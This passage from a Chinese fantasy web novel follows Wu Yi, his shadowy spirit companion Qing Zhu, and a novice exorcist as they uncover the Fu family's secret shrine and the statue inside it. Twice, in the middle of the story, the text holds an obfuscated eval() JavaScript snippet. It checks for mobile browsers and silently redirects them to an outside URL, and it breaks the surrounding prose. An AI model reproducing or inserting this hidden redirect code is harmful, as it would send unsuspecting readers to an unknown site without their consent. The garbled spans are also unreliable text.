那少年身条纤长,浅棕色的围裙勒出细细一把腰,漂亮而精致的小脸上带着点稚气,容貌很是瞩目。 岑悦是信面相的人,这会儿瞧 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岑悦脸上的惊讶掩盖不住,“原来如此,那是我冒犯了。” “没关系的。” 乌宜跟到门口,看着她坐上车离开前还冲自己招手,心里那点别扭也散去了。 卿烛又陷入了沉睡,他没心思跟另外两个店员回去,将围裙和帽子塞进背包,揣着兜径直走进了冷风中。 住的地方距离这里不算远,当初卿烛特意给他挑的地方,去学校和市中心都很近。 卿烛始终不给回应,乌宜报复性地走进了他平时不让自己走的近道,这里和陈丫丫家附近有几分相似,巷道错综复杂,但他对地形十分熟悉。 秋季残存的桂花淡香四处弥漫,地上洋洋洒洒落了一地叶片。 晃了晃手腕上的镯子,他蹙紧眉头,颇为苦恼。 “到底什么时候才可以醒来啊?” 明明是卿烛叫他来的,结果到地方又睡着了。 他这会儿心里憋着一股气没处撒,只觉得满腹委屈,可其实更多的还是担忧,毕竟从前卿烛从来没有这么频繁的失联过。 这种情况愈发常见,他害怕如果有一天卿烛就这样再也唤不醒…… 这个念头在脑海中腾出,乌宜几乎起了一背冷汗,脑子瞬间变得清醒,也在这时才猛然察觉到自己身后有急促的脚步声。 巷子两侧很窄,他下意识靠边走,要给后面人腾出路过空间。 可擦身而过的瞬间,背包忽然被死死一拽,他身体被扯得下意识往前栽,险些跪倒在地。 眨眼的功夫,淡淡的黑雾从周围跃起,像是一双冰冷结实的手拖住了他,好不容易站稳,背包却被抢走了。 乌宜脸色一变:“小偷!” 那人穿着一件灰扑扑的棉衣,抱着背包奋力往前跑,脚步飞快,一眨眼便消失在了乌宜视野中。 原本心里就满是憋屈,这会儿背包还被抢了,乌宜眼眶里立马蓄起眼泪,委屈巴巴地跟卿烛告状。 “我的包。” 卿烛刚刚苏醒,此时还未反应一秒,轻轻叹了口气,便化作薄雾循着那人离开的方向追去。 5. 第 5 章 嗷的一声,周围的树被震得摇了摇,扫下一地落叶。 乌宜顺着声源追过去,就看见那个偷他包的人以一个狼狈的姿势摔在地上,手脚好像抽筋了一样,十分别扭支楞着。 而他的包正稳稳挂在围墙内探出的枝丫上。 他轻哼一声,走过去拿下包,居高临下地站在那人跟前。 “你这个小偷!我要报警。” “别别别——”青年挣扎着抬起头,分明是一张清俊的脸,却被下巴上杂乱的胡茬衬得格外糙,此时表情狰狞倒吸着气坐起来,好像是痛极了,“我真不是故意的,哎呀痛死了!” 彼时卿烛已经回到了乌宜手腕上,安安静静化作黑雾聚拢成一圈。 “他怎么了啊?”乌宜被这动静吓到了。 “抽筋。” “……” 喊得这么大声,他还以为卿烛把这个人的手脚打断了呢。 越想越气,他忍不住踢了踢那人的手臂,“别叫了,你有手有脚的,干嘛要偷别人的包啊?” 这人穿的棉衣虽然破旧,但身上并不脏,看着虽然傻兮兮的,但智商应该没问题,这么一个健全的年轻人,怎么会做这种勾当。 那人闻言便抱着他的腿开始哭天喊地,倒是把乌宜给镇住了。 天啊,这个人是演员吧。 “你、你根本就不懂。”李青泉叹息一声,看着那小男孩呆呆的可爱模样,故作费劲地扶着墙站起身,又是蹙紧眉摇摇头,“你们凡人不懂的,我都是为你好知道吗?” “……” 乌宜转头看了眼漂浮在自己肩上的非凡人,一时间不知该说什么。 “报警。”卿烛声音冷淡。 “好。” 乌宜就要去背包里摸手机,余光却瞥见面前的人忽然激动地抖了一下。 以为这人又要扑上来抢包,他下意识就后退两步,李青泉还没激动地到他跟前,就猛地又感觉膝盖一软,直接跪倒在地。 “嗷——” 乌宜有些嫌弃,可这次还没摁下拨通键,对面这人便着急忙慌喊开了。 “我错了我错了,您听我细说,我真不知道是您啊,不然给我十个胆子也不敢对您下手。” 都用上您了。 乌宜原不想搭理他,可对上那人兴奋的表情,又莫名顿住了手指。 “我叫李青泉,我是个准天师。” 乌宜:“……”那是什么东西。 他只听过天师,好像是专门驱邪的,可是准天师又是什么东西? 可很快,他就察觉到李青泉说话时似乎并不是正对着他,而是稍微偏移了些,目光落在他的右肩上。 此时他的右肩上正盘旋着卿烛的黑影,可……这个人难不成可以看见卿烛! 猛然一惊,乌宜有些慌乱。 “他是不是可以——” “实在不好意思,我刚才有点害怕所以装作没认出来,其实我在网上仰慕您很久了。”李青泉站起来,脸上居然浮现出了莫名的羞涩,“我没想到您现实中是这个样子,这么好看,这是您的宠物吗?真有范啊哈哈哈……” 他笑的尴尬,乌宜表情也一言难尽。 这个人好奇怪啊。 转头看了看一言不发的卿烛,乌宜有点不知道该怎么应付这个场面。 - 十分钟后,两人坐在了巷外的咖啡店。 李青泉从落座起开始叨叨,一直说到了服务生将咖啡上齐,嘴边都说出了沫子,最后端起咖啡一饮而尽,“就是这样,所以我那会儿用的方法就有些过激。” 乌宜一言难尽地看着他:“你真的能看见别人身上的邪气吗?” “对,这是天生的,否则也没当天师的资质。”李青泉笑笑,“我是刚离开师门出来修行的,还以为您身上有邪物,想着帮忙驱散一下,结果原来是……换做别人身上的邪气这么重,估计都撑不到离开那条巷子就要出事。” 乌宜心说这邪气可不是从自己身上传出去的,但他此时无心搭话,只有些忐忑地发问:“所以,你看得见他?” 他没有刻意指什么,李青泉的目光却有些畏缩地看了一眼他的手腕,方才出来的功夫,卿烛已经盘回了他的腕上。 只是一眼,他迅速收回目光,小心地点了点头。 乌宜和卿烛待在一起这么多年,还是第一次遇见能在卿烛未休眠时看见他的人,他一时觉得棘手,不知该如何是好。 李青泉见状连忙表忠心:“您放心,我这件事我不会和任何人说的。” 他说完,见乌宜脸色稍稍缓和,又羞赧地挠挠头,“其实……我也是玩偶守护神超话的老粉了,原先被师傅训着晚上不让吃饭的时候还想过能不能遇见你来给我送娃娃呢。” “……” 乌宜听见这个关键词,小脸上的笑容都要维持不住,他最害怕听见这个词条了,总让他担心哪天就会暴露真实身份。 “我不是。”语气十足心虚,欲盖弥彰的意味明显。 卿烛始终没有提醒他危险,乌宜便也没有对李青泉产生过多的防备,离开前想着对方的身份特殊,考虑之后或许还会有交集,便欣然答应了交换联系方式。 “对了,你知道池玺湾在哪吗?” 乌宜听见这个熟悉的名字,怔了一下才回答:“过去三个路口就是。” “谢了,我在山上与世隔绝太久,这导航都不知道怎么看。” 乌宜:“你去池玺湾有什么事?” “过两天我要去帮人看风水。”李青泉咧开一口白牙笑得灿烂,“赚点外快。” 乌宜知道这个,原先他还想喊着卿烛去骗骗钱,结果卿烛当场就砸了几块大金砖出来,瞬间就让他打消了这个念头。 “祝你顺利。” “谢谢啦,等我赚了钱请你吃饭。”李青泉是个自来熟,显然已经将他当做了朋友。 分开以后,乌宜心事重重地回到家。 察觉到手腕的镯子微微转动,他忙问:“他身上有没有念力啊?” “没有。” 乌宜不免失望。 “联系他。”卿烛忽然说,“他去的是傅流晔家。” 乌宜一惊,点开手机,给刚加上的李青泉发去了消息,而对面似乎一直盯着手机,所以很快就回复了。 李青泉(抢包的天师):[我也不清楚,联系我的是一位姓岑的女士。] 是岑悦。 乌宜完全确定了。 “跟他一起去。”卿烛说。 乌宜把消息发过去,李青泉也没说什么,反而很高兴地同意了,还给他发了具体的时间和地址。 对话结束,乌宜松口气,同时却又有了新的担忧。 “要是到时候你又睡着了怎么办啊?” “不会。” “你又没办法保证。”乌宜盘腿坐在地毯上,心情很是蔫巴,“今天我好不容易去了枫悦,你又不醒,而且这个李青泉都知道我的身份了。” “他不会说出去。”卿烛依旧言简意赅,“公司也没问题。” 他什么时候又中途偷偷醒了?乌宜简直要猜测他是故意不想跟自己说话,其实一直都没睡着过,否则为什么在他被李青泉抢走包的时候这么快就醒来。 “问题在池玺湾。” 乌宜还想问什么。 “大致有猜测。”卿烛若有所思,声线显得很是模糊缥缈,“如果能弄清楚的话,之后一段时间应该不需要再吸收念力了。” 乌宜眼睛微亮:“真的吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427860|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>吸收念力是一个很难熬的过程,从前他们偶尔遇见的人就足够维持卿烛的身体,到现在隔三差五就需要主动寻找目标人物,这段时间一直在蹲点,乌宜也觉得很疲倦。 “嗯,或许还能变人形。” 他总是知道什么最吸引乌宜,果然话音落下以后,小家伙就情不自禁地露出了期待的表情,从刚才的蔫巴恢复到信心满满,只是一句话的功夫。 “那我去了要找什么?” 卿烛没有说话,只是眨眼瞬间,乌宜感觉到身体涌入一股凉意。 “找到让你预感最不对劲的地方。” - 再次见面,李青泉换了一件新中式的褂子,背着一个木箱子,看着是特意收拾过的,不再是那副胡子拉碴的憔悴模样,倒是有了几分仙风道骨。 乌宜觉得新鲜,走近后主动问:“我要换一件衣服吗?” 他今天是充当李青泉助理,但身上是很普遍的羽绒服和毛衣,没有半点贴合天师的气质。 “没事,就这样挺好的。”李青泉上下打量他,似乎很惊艳,“你可真是衣服架子,这一身蛮好看的。” 乌宜装出一副纯良的模样,笑眯眯跟着他进了池玺湾,转头就开始控诉卿烛。 “你看,别人都看得出来我买的新衣服有多好看。” 卿烛一言不发,只是收紧圈口,不轻不重地勒了一下他的手腕。 再次来到熟悉的院子前,乌宜戴上口罩和帽子,接过李青泉的箱子,充当一个合格的天师小跟班。 别墅里的阿姨来给他们开门,进去后岑悦果然已经在等着了,礼貌地和李青泉两人打过招呼,也没多废话,便让他们开始了指点。 乌宜松口气放下箱子,帮李青泉将那些稀奇古怪的道具取出来,又看着他表情严肃地在屋子里走来走去,时不时和岑悦说哪里的朝向需要变,哪些东西不旺事业。 岑悦也不知信没信,但始终认真听着。 只是目光时不时落在一旁的乌宜身上,也不知是不是觉得他眼熟。 “他说的准吗?”乌宜有点好奇,摸了摸镯子。 卿烛:“假。” 好吧,乌宜的滤镜忽然碎了一地,李青泉这么一副懂行的样子差点把他也迷惑了,原来只是在瞎说。 “李天师,需要去院子里看看吗?” “好。” 乌宜在大厅里走了一圈,并没感觉到哪里不舒服,索性跟着他们也出了院子。 谁料刚出去,就听见岑悦正在和李青泉商量什么。 “您在家供佛了吗?”李青泉满脸淡定,“建新的也不是不行,只是今天时机不对,要择一吉日。” “不是佛,是……”岑悦似乎不知该如何说,“是神。” 乌宜听到这,莫名觉得有哪里不对劲。 “您带我去看看。” 两人绕到了后院,而乌宜在踏入后院的瞬间,就感觉到了从背脊窜上的一股寒意,那种感觉强烈分明,几乎瞬间就让他确定了只是卿烛所说的地方。 别墅和前院都是同样的风格,可后院却伫立着一座很突兀的神龛,华贵而醒目,岑悦显然早上才供奉过,神龛四周香火十足。 李青泉看见这么豪华的神龛也怔了怔:“看起来还很新。” 岑悦低声道:“定期三年一翻新,这是我们家的规矩。” 乌宜站在后面微微蹙眉,悄然靠近想要仔细看看上面究竟供的是什么神像,可还未上前,岑悦就忽然攥住了他的手腕。 骤然回神,他转过头,看见岑悦含笑的面容。 “小师傅,去前院喝口茶吧,别靠太近触怒了神灵。” 她面上分明带着笑,可却不像乌宜上次在枫悦遇见她时那样和煦,反而带着分明的警惕和冷厉。 6. 第 6 章 看过了神龛,岑悦便带着两人回到了客厅,阿姨在一旁泡茶,雾气缭绕,香气四溢。 “李天师,您觉得怎么样?” 李青泉端起茶盏呷了一口,淡淡道:“如果急的话,周天是个好日子,可以动工,但时间务必要准,早上九点是吉时,千万不能迟了。” 岑悦点了点头:“我记下了,那就麻烦李天师那天来一趟。” “那是自然。” 两人一番客套,离开时乌宜还有些迟疑,但他始终联系不上卿烛,也只好先一步离开。 出了门,李青泉长舒一口气,“紧张死我了,还好这家没什么古怪。” 乌宜好奇:“那个神龛里面到底是什么东西?” 李青泉摇摇头,表情同样好奇,“我也不知道,离得太远怎么都看不清楚,现在的有钱人都喜欢在家供些神佛,这也正常,有钱人嘛都有点信这个的,而且通常都舍得花钱。” “一般不是供菩萨或者关公?”乌宜不太懂,“但是我看上面那个东西,不像是正常的神佛像。” 李青泉也觉得奇怪,“也是,等翻新那天再看吧,我看这家人忌讳的很,估计是很信的,有些话可不能当着他们的面说。” “知道了。” 乌宜满腹疑虑,但还未来得及再说些什么,便见一辆车从身侧掠过,驾驶座车窗降下一半,他视线无意扫过,看见了后座的傅流晔。 脚步微顿,他下意识回头看了一眼。 不知是不是因为卿烛往他身体中注入的那股力量还未消失,与那辆车擦过的瞬间,他居然觉得心跳加速,心中满是不安。 怎么回事?傅流晔倾尽念力也要对抗的危急,不是已经化解了吗? “……” 之后的时间,乌宜算是见识到了李青泉的脸皮到底有多厚。 他借着今天帮乌宜的事大加感慨,死缠烂打要去乌宜家瞧一瞧,想着这人现在也算是盟友了,乌宜索性遂了他的愿,带他回了家。 刚进门没多久,李青泉叽叽喳喳个没完。 “原来那些娃娃都是早就买好了的,上面邪气可真是重啊……”李青泉看着沙发和客卧堆满的可爱玩偶,只觉得自己多年修行学会的知识隐隐在崩裂。 真是奇了怪了,修行之人都崇尚纯净无暇的神力,对于邪气向来是避而远之,可谁能告诉他,为什么这些满是邪气的玩偶送到别人的身边,还能给人带来好运? 不应该越邪越倒霉吗? 乌宜不知道这个人忽然僵住是在想什么,他自顾自收拾好自己,然后把镯子摘下来放在沙发那堆玩偶上。 李青泉围着屋子走了一圈,最后视线定格在那一截缭绕黑雾上。 他的表情逐渐凝重,抬眸看见穿着奶白色毛衣从卧室走出来的乌宜,不由得担忧。 “你和他是什么关系?” 乌宜怔了怔,没有直接回答:“怎么了吗?” “没,只是觉得你们的相处模式还挺和谐的。”李青泉扯开嘴角,尴尬地笑了一下,“他平时会不会失控什么的?我还想跟他说说话,但看他好像一直都没醒。” 虽然卿烛认可了这人并不是坏蛋,但乌宜还是对他保持着应有的警惕,没有细说。 “不会,他没事的时候就喜欢睡觉,不用管他。” “这样。”李青泉欲言又止,“我看见那些热帖的时候,还以为你身边有神佛之力,心存善念所以得到了这样的能力。” 乌宜就算再蠢,也听出了他话里的暗示。 他嘴唇微微抿紧,很认真地说:“邪神也是神啊,至少他真真切切做了好事。” 李青泉:“我没有别的意思,只是觉得……你应该小心一点。” “可是我比你要了解他。” 乌宜精力有限,平时还算活泼,但像今天这种跑来跑去累着了的情况,就会因为精力耗尽而显得温吞,说这些话的时候语气也没有太大的起伏。 李青泉意识到自己的话不对,立马滑跪:“不是不是,我没那个意思。” 他挠挠头。 “实在不好意思,我就是好奇。” 乌宜不再吭声,转头去冰柜里面找饺子。 “你就吃这个啊?这不是有菜和肉吗?咱们搞火锅吃!”李青泉又来了劲。 乌宜诚实回答:“我不喜欢吃自己做的菜,难吃。” 李青泉看着他瓷白漂亮的小脸上满是认真,莫名也正色起来。 “你做的饭很难吃吗?” “怎么可能。”乌宜睁大眼睛,谁不知道他烘焙天赋高超,做饭更是一绝。 但在新朋友面前,他还是谦虚了一下。 “我做饭挺好吃的,但是我不喜欢吃自己做的,有一种很奇怪的感觉,就是没有食欲。” 那就是黑暗料理嘛,不好看也不好吃,所以瞧一眼就没食欲吃不下,李青泉点点头,表示自己明白了。 “我平时也这样。”他做的饭,师父都说难以下咽。 最后两人煮了一锅饺子,混着乌宜的秘制酱料随便对付了晚餐。 吃饱喝足,乌宜按照习惯准备把这周刚更新的美食综艺看完,但边上一直坐着个客人,让他很是不自在。 “那个……你不早一点回去休息吗?”他委婉询问。 李青泉:“我也没什么事,这个综艺挺好看的。” 乌宜:“……” 他鼓了鼓脸颊,还是决定有话直说:“我准备去睡觉了,你要不要先回酒店呢?” 李青泉表情似有尴尬,跟乌宜大眼瞪小眼半天,终于叹口气说了实话。 “其实我酒店就定了三天,本来准备今天就走的,谁知道他们家还要修神龛,打乱了我的计划,这段时间云京换季,游客又多。” 乌宜眨眨眼,有些茫然:“所以?” “所以,其实我现在没地方去。”李青泉讨好地看向他,“能不能让我在你这休息两天,我发誓等修完神龛我立马就走!” 乌宜没料到他会这么说,犹豫片刻提醒:“我这里只有一个房间。” 卿烛平时要么圈在他身上,要么就趴在那些娃娃上睡觉,根本不需要自己的房间,所以客卧连床都没有。 “没关系啊,这沙发这么大,我在这睡就行了,而且我很安静的,绝对不会吵到你。”李青泉嘻嘻笑着,仿佛早就给自己想好了说辞,“哎呀,都是朋友,你不会介意吧。” 乌宜的确不太介意,他这个人平时也没太多主见,但卿烛清醒的时候见过李青泉,如果觉得不对劲的话肯定会提前告知他,叫他离李青泉远一些。 但卿烛什么也没有说,就是默许了他和这个人相处。 不管怎么样,李青泉毕竟帮他进了傅家一趟,而且……卿烛的判断,乌宜总是相信的。 “那你就在这睡吧,我回房间了。” “得嘞!”李青泉自来熟地往沙发上一趟。 “……” 周末,李青泉带着乌宜抵达傅宅,进门后才发现今天不只是岑悦在,傅流晔也在家没有出门。 吉时到,工人小心翼翼开始动工,李青泉换上自己的衣服,点燃了用作渲染气氛的道具,在边上阖着眼振振有词念叨着什么,活像是个神棍。 乌宜闲着没事干,只一个劲盯着不远处的神龛,上面隐隐约约放着一尊什么东西,可却怎么也看不真切。 那天就是这样,现在天光正亮,居然也是一片漆黑,难不成…… 想到什么,他心底咯噔一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427861|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 神像被请了下来,微风抚起一角遮布,乌宜眼睛微微睁大,心中翻涌起剧烈的惊愕。 动工的动静有些大,傅流晔和岑悦却始终站在不远处,很恭敬的模样,从头到尾都没离开过。 看着新神龛被放置好,乌宜犹豫片刻,索性转身借口去上厕所,傅家的阿姨领着他到了洗手间,他进去以后便反手将门紧紧锁住。 摘下口罩,巴掌大的脸颊被捂得泛起粉白,正面的镜子映出他眸中的苍白不安,他缓了会儿,卷起袖子,认认真真去打量手腕上的黑玉镯子。 “卿烛?”声音很小,带着点后知后觉的犹疑。 没有回复。 “卿卿,你有没有感觉那座神像有点眼熟呢?特别像……” 手腕上的东西没有半点动静,乌宜犹豫着止住了声音,打开水龙头洗手。 他和卿烛认识也快要十年了,可是还真不太清楚卿烛究竟是什么生物,只知道他能够做成许多人类所不能及的事情,时常需要吸食人类的念力为生,从前他以为卿烛只是个无足轻重的小神,可如果他没有看错的话,傅家供奉的应该就是…… “怎么了?” 冷静的声线在耳侧响起,低沉清冽。 乌宜回神,目光立马落在了弥漫着黑雾的手腕上。 “没事,只是想问问,那个…你有没有什么兄弟姐妹什么的。” 卿烛好像觉得他很奇怪,“没有。” “那或者,有没有跟你长得很像的东西。” 卿烛直接问:“你看见什么了?” 乌宜蹙着眉头纠结半天,才小声说:“一座像,纯黑色的,上面什么都没有。” 神像常年供奉在高处精心打理,按理说应该是色彩鲜艳的,他还是第一次见有人家里供这样纯黑色的像,而且形状也有些古怪,不可抑制地让他想到了卿烛。 他也是这样,由黑雾聚拢起来,看不真切模样。 “出去看看。” 乌宜乖乖点头,拉开门出去,瞧见领他来的阿姨还站在拐角等,差点被吓了一大跳。 “我领您出去,怕您找不到路。” 阿姨和蔼地笑了笑,先行穿过了昂长的走廊,其实路并不难找,乌宜能猜到是傅流晔授意了她不能让工人乱跑。 一会儿的功夫,神龛周围已经布置好了,李青泉收了东西,正在和岑悦说话,乌宜靠近时隐约听见几个“开光”之类的关键词。 “不用开光。”岑悦笑笑,“神在休息,我们不想打扰他。” 这个说法显然太神奇,乌宜看见李青泉脸上的笑都变得有些尴尬,但还是维持住了。 “行,那现在把神像请回去就好,咱们上柱香,就大功告成了。” 岑悦点点头,和傅流晔一同仔仔细细洗了手。 总算要结束了,乌宜站在角落松口气,可心情却好不起来,他到现在都还没找到那个不对劲的东西究竟在哪,最开始他还以为会是神像,可这东西好像真没什么奇特的。 难不成是神龛里,不……神龛刚才更换过,也许是神龛下面的土地里面,埋着一些不为人知的东西。 会是什么呢? 他还未想明白,余光忽然掠出一缕黑影,手腕凉意散去,远处骤然传出惊呼。 清脆落地声,仿佛有什么东西碎裂了。 李青泉还维持着捧东西的动作,呆呆看着碎裂一地的神像碎片,而他的对面,岑悦那张始终微笑着的脸上此时满是不可置信。 乌宜睁大眼睛,心跳都随着这个意外停了一拍。 神像摔碎了! 他不免惊慌失措,看着一院子都没反应过来的人,忽然感觉到身侧一束目光落在他的身上。 是傅流晔。 7. 第 7 章 “这、这……” 李青泉职业生涯的第一单就出了这么大的乱子,他瞪大眼睛,干巴巴解释,“我拿稳了的。” 可刚才眨眼的功夫,好像有什么东西从他面前钻过,直接将那尊神像给推倒了。 真不是他干的! 岑悦死死盯着地上的神像,身体似乎都发起了细细的颤抖。 “李天师,你是诚心的吗?” 李青泉在心中大呼冤枉,可这事毕竟经了他的手,他一时也说不出辩解的话,“岑女士,实在抱歉,要不……我再替您请一尊。” “请不到的。”岑悦语气冰冷,肩膀剧烈起伏,像是在强压怒气。 “母亲。” 傅流晔大步走了过来,揽过岑悦的肩膀,安抚性地拍了拍,“李天师也不是有意的。” 乌宜站在边上,忽然捕捉到傅流晔走路的姿势有些奇怪,左脚不受力,好像……受伤了一样。 前几天看见他不是还好好的吗? 那边的岑悦深吸口气:“现在怎么办?” 李青泉见他们看向自己,忙道:“用一块红布将碎片装起来放在供台上,向神上香请罪即可。” 眼下也没了别的办法,岑悦亲自回了屋子,找出一块红绒布。 “李天师就别动手了,我们母子来就好。” 李青泉尴尬极了,半蹲的动作重新恢复正常,脑子里正疯狂计算着自己要赔多少钱,余光却见原本站在院子一角的乌宜忽然走了过来,俯身从地上捡起个什么。 “这是什么?” 岑悦一惊,忙起身:“小师父,你别动这个,给我。” 可一向乖巧的乌宜今天却失了分寸,听她的话,反将那只小小的茶盏攥紧,起身后退一步。 傅流晔也站起身,微沉着脸看向他,“你要做什么?” “我只是想问,这个是什么东西?”面对眼前两个人,乌宜其实还是有点慌的,但有卿烛在,他并不感到害怕,而是将那支纯黑色的茶盏微微举起,“我看见这个从神像里掉下来。” 李青泉也将目光落在那只奇怪的茶杯上,忍不住道:“是不是看错了?神像里怎么会有杂物。” “也许不是杂物呢。”乌宜声音软而坚定。 方才看见神像碎裂,岑悦眼前就一阵阵发黑,此时看见这个小男孩开始捣起乱,更是差点站不住。 “你到底要做什么?” 傅流晔皱紧眉头,伸手扶住母亲,可转头望向乌宜时,眼神中却并没有太多的敌意,声音反而很轻。 “你先放下东西,这些不是你能碰的。” 乌宜对上他平静的眼眸,心里面忽然翻涌起些许歉疚,片刻后小声说:“我只是想问这个东西的由来,如果你们告诉我的话,我就换给你们,不然……” 他以前不是没跟别人放过狠话,可是岑悦和傅流晔一直对他很礼貌,岑悦每回和他见面都是温柔和蔼的模样,现在他却做出这么一副姿态,不免让他感觉不自在。 可是他答应了卿烛,此时便也只能硬着头皮说下去。 “不然我就把这个东西砸碎。” 李青泉都目瞪口呆,“你怎么了?” 岑悦忍无可忍:“流晔。” 傅流晔闻声松开了她的肩膀,朝着乌宜大步走来。 乌宜想也不想,将茶盏高高举起,正要松手时,傅流晔准确无误捉住了他的手腕,力度大到让他感觉骨头发疼。 “不好意思。”傅流晔甚至很有礼貌地跟他道歉,可掰开他手指将那只茶杯扣走的动作又不容抗拒,“这是我们家很重要的东西,不能给你。” 眼见着自己的任务要完不成,乌宜想到卿烛可以清楚别人的记忆,索性也不藏着掖着了。 “真的不能听吗?如果说……我能让你们家的情况更加好起来呢?” 傅流晔微怔,岑悦的脸色也变得复杂。 乌宜缓了口气,挣开傅流晔的桎梏,认认真真抬眸盯着他。 “那只小羊,你丢掉了吗?” 傅流晔的瞳孔闪烁一瞬,不消思考便知晓了他在点什么。 “在书房。” 他嗓音忽然有些干哑,可再开口却没了那股惊讶,反而带着点意料之中的松懈。 “是你。” 乌宜对上他灼热的目光,忽然有些不好意思,只能挪开目光,“我真的只是想知道那些事情,跟我的朋友有些关系,真的不能说吗?” 卿烛不是那么鲁莽的性格,既然打碎神像,就肯定是察觉到了什么。 那只茶盏,或许有些别样的意义。 岑悦也意识到了什么,她大步上前,面上却满是歉疚。 “之前的事情多谢你,可这个东西真的不能说给你听,这个故事太久远,更何况……都是过去很久的记忆,我们老头子已经走了,去世前最重要的遗愿就是守好这东西,还希望你能够理解。” 傅流晔始终垂眸看着乌宜,似乎想说什么。 “如果我说,我认识你们供奉的那座神呢?”乌宜语出惊人。 岑悦的眼眸却一瞬暗淡了,“不可能。” 她斩钉截铁说完,看见乌宜错愕,又软了语气,补充道:“这是不可能的,你可能是看错了。” 可就是真的啊。 乌宜看着他们执着的样子,一时都不知道该说什么了。 他现在特别像一个无理取闹的熊孩子,而面前的两个长辈都秉持着修养礼仪,更显得他神经病。 可恶的卿烛,什么坏事都让他干。 “神龛底下有东西。”脑海中再次传出卿烛的声音。 乌宜:“……” 啊啊啊啊啊真的要疯了! 他深吸口气,一抬起头就瞧见这对母子凝重的表情,好不容易提起的勇气又散了。 “要不……我们晚上偷偷来挖吧。” 他可能还是更适合干这种偷偷摸摸的事情。 “那是我的东西,为什么要偷?”卿烛声音有些冷淡,“就要正大光明拿。” 那你倒是自己来啊。 乌宜打心底委屈,深吸口气只能硬着头皮说:“如果你们不说的话,我只能把神龛底下埋着的东西挖出来了。” 他这样冒犯,岑悦的礼貌也要维持不住了。 “小师父,我们傅家和你有仇吗?为什么非要在这个日子来找事。” “不好意思。”乌宜抿抿嘴唇,把目光落在了满脸震惊看热闹的李青泉身上,想了想还是决定赌一把,“李青泉!” 李青泉肉眼可见的慌张起来,视线转过自己的雇主,又看了看眼神坚定的乌宜,忽然不知 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李青泉意识到没声音,回头一看:“我靠!” 乌宜满头疑问,可触见傅流晔同样愣怔的模样,才迟钝察觉什么。 他回过头,看见自己身后弥漫的黑雾,几乎将整个后院上空所笼罩。 比起他这几年瞧见的范围更大,浓重的雾气在空中聚拢升腾,这样近的距离使得他清清楚楚感知到了其中蕴含着的强大能力,与平时完全不是一个量级。 这是…… 扑通一声,岑悦毫不犹豫地跪了下来,“流晔,跪下。” 傅流晔并未犹疑,直接屈膝。 李青泉眨眨眼,感觉自己格格不入,咕咚一声咽了口唾沫,“我、我也要跪吗?” 没人回复他。 乌宜丝毫没察觉到身后的动静,他很新奇地看着面前比自己还大的黑雾,情不自禁露出惊艳的笑,仰起头捕捉那浓重黑雾边缘缭绕的烟气。 “卿卿,你好大啊。” 那团黑雾逐渐聚拢成了一抹模糊的人形,高大充满气势。 其实第一眼看上去就是危险的,换做旁人肯定避之不及,可乌宜好像丝毫没有注意到,还主动朝他走了两步,伸出手去触摸雾气的边缘。 是冰凉的触感,很是不真实,像一团雾气。 有力道轻轻攥了他一把,很轻的力道,但还是让小臂上软白的皮肤泛起一小圈红痕。 “不害怕?” 乌宜听出他又在提自己原先差点被吓哭的事情,忍不住皱起小脸,“我胆子才没有这么小。” 他说完又不在乎卿烛的调侃,凑上去抱住他。 “我好喜欢这样。” 终于不是小小的一团,而且……他隐约也察觉到卿烛的性格有了些许变化。 好像比平时话更少了。 是因为黑布下面的东西吗?这里面有什么,可以让他获得更多的力量。 猜测着,他忽然想到身后还有三个人,急忙松开手回头,瞧见眼前的一幕瞬间就愣住了。 “他们……” 黑雾汇聚抵在他的肩头,示意他噤声。 乌宜安静下来,乖乖站在他身后。 8. 第 8 章 “起来。”卿烛语气平淡,“见我不用跪。” 他说的话仿佛是圣旨,岑悦连犹豫都没有,便立刻站了起来,只是态度依旧恭敬,迟疑道:“老傅原先说,您至少要沉睡两百年才会醒来,所以刚才……” “无妨。”卿烛顿了顿,“你们是哪家?” 傅流晔答:“我父亲是傅桉。” “傅桉,木安。”卿烛语气很轻地重复了一遍,“他给自己起了傅姓。” 岑悦眼眶有些湿润,“老傅虽然走得早,但在的时候一直和我们说和您的故事,让我们务必好好守着传家宝,等您再度出世交还给您,刚才没能认出来,实在是我们的失职。” “无妨,我也没料到会这么早。” 不知道是不是乌宜的错觉,卿烛说这句话的时候,似乎朝着他的方向看了一眼。 只是那黑雾缭绕,他根本看不清卿烛的任何身形,便也不清楚那究竟是不是自己看错。 岑悦犹疑一瞬,又介绍:“这是我和傅桉的儿子,傅流晔,他如今继承了老傅的产业,但……” 正如外界所言,枫悦的时运不济,早年傅桉在时还算顺利,可等傅桉离世后,就开始走起了下坡路,前些时候还得益于乌宜送来的好运玩偶,才勉强又维持了一阵,但最近新产品似乎又出了些问题。 而且昨夜傅流晔回家时还出了意外,手和脚都扭伤了,这些事对他们家来说早见怪不管,总归都是时运不济。 她和儿子整宿睡不着觉,还要惦记着翻新神龛的事情,却没想到今天也会发生这么多事。 傅流晔听完母亲的话,不自觉将视线移向乌宜。 小少年脸上捂着口罩,一双灵动漂亮的眼睛随着听见的消息而轻轻眨动,单纯而又漂亮,清瘦的身形同他半梦半醒时捕捉到的那道身影缓缓重合。 他猜得没错,果然是这个人。 乌宜察觉到他在看自己,又往卿烛后面躲了躲,但没两秒又探出脑袋,弯起眼睛冲着他笑了一下。 很夸张的,傅流晔后背都麻了一片。 